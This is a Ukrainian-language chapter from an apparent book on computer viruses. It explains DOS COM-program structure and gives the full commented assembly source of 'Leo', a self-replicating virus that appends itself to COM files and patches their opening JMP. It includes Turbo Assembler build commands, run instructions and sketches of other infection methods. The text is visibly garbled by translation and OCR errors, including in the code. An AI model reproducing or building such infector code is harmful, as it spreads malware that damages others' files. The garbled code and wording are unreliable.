СОМ-ВІРУСИ b> p>
У цій главі розповідається про ал-
горітмах роботи вірусів,
заражають СОМ-файли,
і способи їх впровадження. Пред-
подані вихідний текст од-ного
з таких вірусів з під-
робнимі коментарями.
Також наведені основні све-
дення про структуру і принци-
пах роботи СОМ-програми. p>
10 СОМ-віруси p>
Комп'ютерні віруси можуть "гніздитися" в найнесподіваніших міс-
тах, наприклад, у записі початкового завантаження MBR (master boot record),
у виконуваних файлах типу СОМ та ЕХЕ, у файлах динамічних Біб-
ліотек DLL і навіть у документах текстового процесора Microsoft Word
for Windows. У цьому розділі докладно розглядається будова виру-
са, що вражає СОМ-файли. p>
Структура і процес завантаження СОМ-програми b> p>
Що ж являє собою СОМ-програма, як вона завантажується
в пам'ять і запускається? p>
Структура СОМ-програми гранично проста - вона містить тільки
код і дані програми, не маючи навіть заголовка. Розмір СОМ-про-
грами може перевищувати обсягу одного сегмента (64Кбайт). p>
І ще два поняття, які часто будуть зустрічатися: p>
Program Segment Prefix (PSP) - область пам'яті розміром 256 (OlOOh)
байт, що передує програмі при її завантаженні. PSP містить дан-
ные командного рядка і що відносяться до програми змінні. p>
Disk Transfer Address (DTA) - блок даних, що містить адреси
обміну даними з файлом (читання або запис). Область DTA для роботи
з файлом використовують багато функцій, в тому числі і не виробляють
читання або запис в файл. Прикладом може служити функція 4Eh
(знайти перший файл за шаблоном), яка неодноразово зустрів
чаться в лістингах програм. p>
Завантаження СОМ-програми в пам'ять і її запуск відбуваються так: p>
1. Визначається сегментний адреса вільної ділянки пам'яті достатньо
точного для розміщення програми розміру. p>
2. Створюється і заповнюється блок пам'яті для змінних середовища. p>
3. Створюється блок пам'яті для PSP і програми (сегментЮОООЬ - PSP; p>
сегментЮЮОЬ - програма). В поля PSP заносяться відповідаю-
щие значення. p>
4. Встановлюється адреса DTA рівним PSP: 0080h. p>
5. Завантажується СОМ-файл з адреси PSP: 0100h. p>
6. Значення регістра АХ встановлюється відповідно до парамет-
рами командного рядка. p>
7. Регістри DS, ES та SS встановлюються на сегмент PSP і програм-
ми (PSP.-OOOOh). p>
8. Регістр SP встановлюється на кінець сегмента, після чого в стек за-
пісивается OOOOh. p>
9. Відбувається запуск програми з адреси PSP: 0100h. p>
СОМ-програма завжди складається з одного сегмента і запускається з
зміщення OlOOh. p>
Найпростіший СОМ-вірус b> p>
На початку СОМ-файла зазвичай знаходиться команда безумовного переходу
JMP, що складається з трьох байт. Перший байт містить код команди OE9h,
наступні два - адреса переходу. Оскільки розглянутий нижче ви-
рус навчальний, він буде заражати тільки СОМ-файли, що починаються
з команди JMP. Завдяки простій будові СОМ-файл до нього дуже
просто додати тіло вірусу і потім вказати його адресу в команді JMP.
На рис. 1.1. показано зараження файлу таким способом. p>
Після завантаження зараженого файлу управління отримує вірус. Закон-
чів роботу, вірус відновлює оригінальний JMP і передає уп-
равленіе програмі, як показано на рис. 1.2. p>
Що ж робить даний вірус? Після старту він шукає в теку-
щем каталозі СОМ-програми. Для цього використовується функція 4Eh
(знайти перший файл): p>
p>
Тіло вірусу записується в кінець файлу,
туди ж переноситься оригінальний JMP,
на місце якого записується інструкція
JMP на тіло вірусу. b> p>
Рис. 1.1. h2>
; Шукаємо перший файл за шаблоном імені
mov ah, 4Eh p>
mov dx, offset fname - offset myself
add dx.bp
mov cx, 00100111b
int 21h p>
Потім вірус перевіряє (по першому байту файлу), чи підходять йому най-
денние СОМ-програми: p>
[Відкриваємо файл
Open: p>
mov ax, 3D02h p>
mov dx, 9Eh p>
int 21h p>
; Якщо при відкритті файлу помилок не сталося,
; переходимо до читання, інакше виходимо з вірусу p>
jnc See_Him p>
jmp exit p>
; Читаємо перший байт файла
See_Him: p>
xchg bx, ax p>
mov ah, 3Fh p>
mov dx, offset buf-offset myself p>
add dx.bp p>
xor ex, ex; CX = 0 p>
p>
inc ex [(збільшення на 1) СХ = 1
int 21h p>
Порівнюємо. Якщо перший байт файлу p>
, не E9h, то переходимо до пошуку наступного p>
. файлу - цей для зараження не підходить p>
cmp byte ptr [bp + (offset buf-offset myself)], OE9h p>
jne find_next p>
Перед зараженням файлу вірус перевіряє сигнатуру - не виключено,
що файл вже заражений: p>
Переходимо в кінець файлу (на останній байт)
mov ax, 4200h
xor ex, ex p>
mov dx, [bp + (offset flen-offset MySelf)]
dec dx
int 21h p>
; Читаємо сигнатуру вірусу
Read: p>
mov ah, 3Fh p>
xor ex, ex p>
inc ex p>
mov dx.offset bytik-offset myself p>
add dx.bp p>
int 21h p>
. Якщо при читанні файлу помилок не відбулося, p>
[Перевіряємо сигнатуру, p>
; інакше шукаємо Наступне фото p>
jnc test_bytik p>
jmp find_next p>
[Перевіряємо сигнатуру
Test_bytik: p>
cmp byte ptr [bp + (offset bytik-offset myself)], CheckByte p>
; Якщо сигнатура є, то шукаємо інший файл,
. якщо її немає - будемо заражати p>
je find_next2 p>
jmp NotJnfected p>
Опісля, у відповідності із запропонованою схемою, вірус дописується
в кінець файлу-жертви і встановлює адреса переходу на самого себе: p>
[Переходимо в кінець файлу
mov ax, 4202h
xor ex, ex
xor dx.dx
int 21h p>
Зупиняємо регістр DS на сегмент коду
push cs
pop ds p>
[Копіюємо вірус у файл
mov ah, 40h p>
mov cx.offset VirEnd-offset la
mov dx, bp p>
sub dx, offset myself-offset la
int 21h p>
[Записуємо в початок файлу перехід на тіло вірусу
Write_Jmp: p>
. Переходимо в початок файлу
xor сх.сх
xor dx, dx
mov ax, 4200h
int 21h p>
[Записуємо перші три байти файлу (перехід на тіло вірусу)
mov ah, 40h
mov сх, 3 p>
mov dx, offset jmpvir-offset myself
add dx.bp
int 21h p>
Після того, як вірус закінчить свою роботу, він відновлює
в початковий стан перші три байти програми (у пам'яті комп'ютера-
тера) і передає керування на початок програми. Далі, при
запуску зараженого файлу, спочатку управління отримує вірус, потім -
вихідна програма. Завдяки такій схемі роботи розглянутий p>
вірус може спокійно існувати, будучи один раз випущеним
на волю. p>
Як запустити вірус? У будь-якому текстовому редакторі створюється файл
LEO.ASM, що містить вихідний текст вірусу, потім цей файл компи-
ліруется і компонується готова програма. Наприклад, в системі про-
граммірованія Turbo Assembler останні два етапи виконуються та-
кими командами: p>
tasm.exe leo.asm
tlink leo.obj/t p>
У результаті вийшов файл LEO.COM, що містить готовий СОМ-вірус.
Для перевірки роботи вірусу можна створити окремий каталог і ско-
бенкетувати в нього цей файл, а також кілька інших СОМ-файлів.
Після запуску LEO.COM вірус потрапити в усі інші СОМ-фай-
ли. Не варто боятися, що буде заражений відразу весь комп'ютер - вірус
поширюється тільки в поточному каталозі. Нижче наводиться результат-
ний текст вірусу: p>
.286. Встановлюємо тип процесора
CheckByte equ OFOh p>
[Зазначаємо, що регістри CS і DS містять
; адресу сегменту коду програми
assume cs: code, ds: code p>
; Початок сегменту коду. Наприкінці програми сегмент коду потрібно
; закрити - "code ends"
code segment p>
Зупиняємо зміщення в сегменті коду. p>
Дана рядок обов'язкове p>
; для СОМ-програми (всі СОМ-програми p>
починаються з адреси 100h) p>
org 100h p>
start: p>
; імітуємо заражений СОМ-файл.
; Тіло вірусу починається з мітки la
; jmp la p>
db OE9h; Код команди JMP p>
dw offset la-offset real
real: p>
[Виходимо з програми
mov ah, 4Ch
int 21 h p>
; 3десь починається тіло вірусу
la: p>
; Зберігаємо регістри і прапори
pushf
pusha
push ds es p>
. Отримуємо точку входу. p>
; Для цього викликаємо підпрограму (наступний p>
; за викликом адреса) і читаємо з стека адреса повернення p>
call MySelf
MySelf: p>
pop bp p>
відновлюємо перші три байти вихідної програми
mov al, [bp + (offset bytes_3 [0]-offset MySelf)]
mov byte ptr cs: [100h], al
mov al, [bp + (offset bytes_3 [1]-offset MySelf)]
mov byte ptr cs: [101h], al
mov al, [bp + (offset bytes_3 [2]-offset MySelf)]
mov byte ptr cs: [102h], al p>
[Дальше завдання вірусу - знайти нову жертву. p>
; Для цього використовується функція 4Eh (Знайти перший файл). p>
; Шукаємо файл з будь-якими атрибутами p>
Find_First: p>
. Шукаємо перший файл за шаблоном імені
mov ah, 4Eh p>
mov dx.offset fname-offset myself
add dx.bp p>
mov cx, 00100111b
int 21 h p>
; Якщо файл знайдено - переходимо до зміни атрибутів, інакше виходимо
; з вірусу (тут немає відповідних для зараження файлів) p>
jnc attributes p>
jmp exit
attributes: p>
. Читаємо оригінальні атрибути файлу
mov ax, 4300h p>
mov dx, 9Eh. Адреса імені файлу
int 21 h p>
. Зберігаємо оригінальні атрибути файлу
push ex p>
•. Встановлюємо нові атрибути файлу
mov ax, 4301h p>
mov dx, 9Eh. Адреса імені файлу
mov cx, 20h
int 21 h p>
Переходимо до відкриття файлу
jmp Open p>
; Шукаємо наступний файл, тому що попередній не підходить
FincLNext: p>
; Відновлюємо оригінальні атрибути файлу
mov ax, 4301h p>
mov dx, 9Eh; Адреса імені файлу
pop сх
int 21 h p>
[Закриваємо файл
mov ah, 3Eh
int 21 h p>
; Шукаємо Наступне фото
mov ah, 4Fh
int 21 h p>
; Якщо файл знайдено - переходимо до зміни атрибутів, інакше виходимо
; з вірусу (тут немає відповідних для зараження файлів) p>
jnc attributes p>
jmp exit p>
.- Відкриваємо файл
Open: p>
mov ax, 3D02h p>
mov dx, 9Eh p>
int 21 h p>
; Якщо при відкритті файлу помилок не сталося -
. переходимо до читання, інакше виходимо з вірусу p>
jnc See_Him p>
jmp exit p>
; Читаємо перший байт файла
See_Him: p>
xchg bx.ax p>
mov ah, 3Fh p>
mov dx.offset buf-offset myself p>
add dx, bp p>
xor ex, ex; CX = 0 p>
inc ex [(збільшення на 1) СХ = 1 p>
int 21 h p>
. Порівнюємо. Якщо перший байт файлу p>
, не E9h, то переходимо до пошуку наступного файлу - p>
; цей для зараження не підходить p>
cmp byte ptr [bp + (offset buf-offset myself)], OE9h p>
jne find_next p>
; Переходимо в початок файлу
mov ax, 4200h
xor ex, ex
xor dx.dx
int 21 h p>
[Читаємо перші три байти файлу в тіло вірусу
See_Him2: p>
mov ah, 3Fh p>
mov dx, offset bytes_3-offset myself p>
add dx.bp p>
mov cx, 3 p>
int 21 h p>
. Отримуємо довжину файлу, для чого переходимо в кінець файлу
Testik: p>
mov ax, 4202h p>
xor ex, ex p>
xor dx.dx p>
int 21h
Size_test: p>
; Зберігаємо отриману довжину файлу p>
mov [bp + (offset flen-offset MySelf)], ax p>
[Перевіряємо довжину файлу
cmp ax.64000 p>
; Якщо файл не більше 64000 байт, - переходимо p>
; до наступної перевірки, p>
; інакше шукаємо інший файл (цей занадто великий для зараження) p>
jna richJest p>
jmp find_next p>
Перевіримо, не заражений файл.
; Для цього перевіримо сигнатуру вірусу
RichJest: p>
[Переходимо в кінець файлу (на останній байт)
mov ax, 4200h
xor сх.сх p>
mov dx, [bp + (offset flen-offset MySelf)]
dec dx
int 21h p>
; Читаємо сигнатуру вірусу
Read: p>
mov ah, 3Fh p>
xor ex, ex p>
inc ex p>
mov dx, offset bytik-offset myself p>
add dx.bp
int 21 h p>
; Якщо при читанні файлу помилок p>
; не сталося - перевіряємо сигнатуру, p>
. інакше шукаємо Наступне фото p>
jnc test_bytik p>
jmp tind_next p>
; Перевіряємо сигнатуру
Test_bytik: p>
cmp byte ptr [bp + (offset bytik-offset myself)], CheckByte p>
; Якщо сигнатура є, то шукаємо інший файл,
. якщо ні - будемо заражати p>
jne NotJnfected p>
jmp find_next p>
. Файл не заражений - будемо заражати
NotJnfected: p>
mov ax, [bp + (offset flen-offset myself)] p>
sub ax, 03h p>
mov [bp + (offset jmp_cmd-offset myself)], ax
l_am_copy: p>
. Переходимо в кінець файлу
mov ax, 4202h
xor ex, ex
xor dx.dx
int 21 h p>
[Встановлюємо регістр DS на сегмент коду
push cs
pop ds p>
. Копіюємо вірус у файл
mov ah, 40h p>
mov ex, offset VirEnd-offset la
mov dx.bp p>
sub dx, offset myself-offset la
int 21 h p>
Записуємо в початок файлу перехід на тіло вірусу
Write_Jmp: p>
. Переходимо в початок файлу
Хог сх.сх
xor dx, dx
mov ax, 4200h
int 21 h p>
[Записуємо перші три байти файлу (перехід на тіло вірусу)
mov ah, 40h
mov сх, 3 p>
mov dx.offset jmpvir-offset myself
add dx.bp
int 21h p>
; 3акриваем файл
Close: p>
mov ah, 3Eh p>
int 21h p>
; Відновлюємо оригінальні атрибути файлу p>
mov ax, 4301h p>
mov dx, 9Eh p>
pop ex p>
int 21h
exit: p>
відновлюємо початкові значення регістрів і прапорів
pop es ds
рора
popf p>
Передаємо керування програмі-носію
push 100h
retn p>
-. Байт для читання сигнатури
bytik db (?) p>
. Зарезервовано для зміни трьох байт вірусу
jmpvir db OE9h
jmp_cmd dw (?) p>
; Довжина файлу
flen dw (?) p>
; Шаблон для пошуку файлів
fname db "*. com", 0 p>
; 0бласть для зберігання команди переходу
bytes_3 db 90h, 90h, 90h p>
; Байт пам'яті для читання першого байта файла
; з метою перевірки (Е9п)
buf db (?) p>
; Назва вірусу
virus_name db "Leo" p>
; Сигнатура p>
a db CheckByte p>
VirEnd: p>
code ends p>
end start p>
Способи впровадження СОМ-вірусів b> p>
Розглянутий вірус дописував в кінець файлу, а в початок файлу
вписував перехід на себе. Існують і інші способи впровадження
вірусів. p>
Розглянемо два варіанти впровадження СОМ-вірусу в початок файлу.
Варіант перший. Вірус переписує початок програми в кінець файлу,
щоб звільнити місце для себе. Після цього тіло вірусу записує-
ся в початок файлу, а невелика його частина, що забезпечує перенесення ви-
тиснення фрагменту програми, на колишнє місце - в кінець. При вос-
становленні первісного вигляду програми тіло вірусу буде
затерто, тому код вірусу, який відновлює програму, повинен
перебувати в безпечному місці, окремо від основного тіла вірусу.
Цей спосіб впровадження зображений на рис. 1.3. p>
p>
Рис. 1.3. p>
Під час завантаження зараженого таким способом файлу керування отримає
вірус (тому що він знаходиться на початку файлу і буде завантажений з адреси
OlOOh). Після закінчення роботи вірус передає управління коду, пере-
носить витиснену частина програми на колишнє місце. Після вос-
становлення (у пам'яті, не в файлі) первісного вигляду програми,
вона запускається. Схема роботи вірусу зображена на рис. 1.4. p>
Другий варіант відрізняється від першого тим, що вірус, звільняючи для
себе місце, зрушує все тіло програми, а не переносить її частину в ко-
нец файлу. Цей спосіб впровадження зображений на рис. 1.5. p>
Після запуску зараженої програми, як і в попередньому випадку,
управління отримує вірус. Подальша робота вірусу відрізняється
тільки тим, що частина вірусу, відновлює первинний вигляд p>
p>
програми, переносить до адресою OlOOh все тіло програми, а не тільки
витиснену частину. Схема роботи вірусу, заражающего файл таким
чином, наведена на рис. 1.6. p>
Існують різновиди вірусів, не дописувати частину свого
тіла в кінець файлу. Наприклад, вірус може впроваджуватися в середину
файлу. У цьому випадку алгоритм роботи вірусу є сумішшю алгоритми-
мов одного з двох щойно описаних вірусів і вірусу, який описано-
го в розділі "Найпростіший СОМ-вірус". p>
p>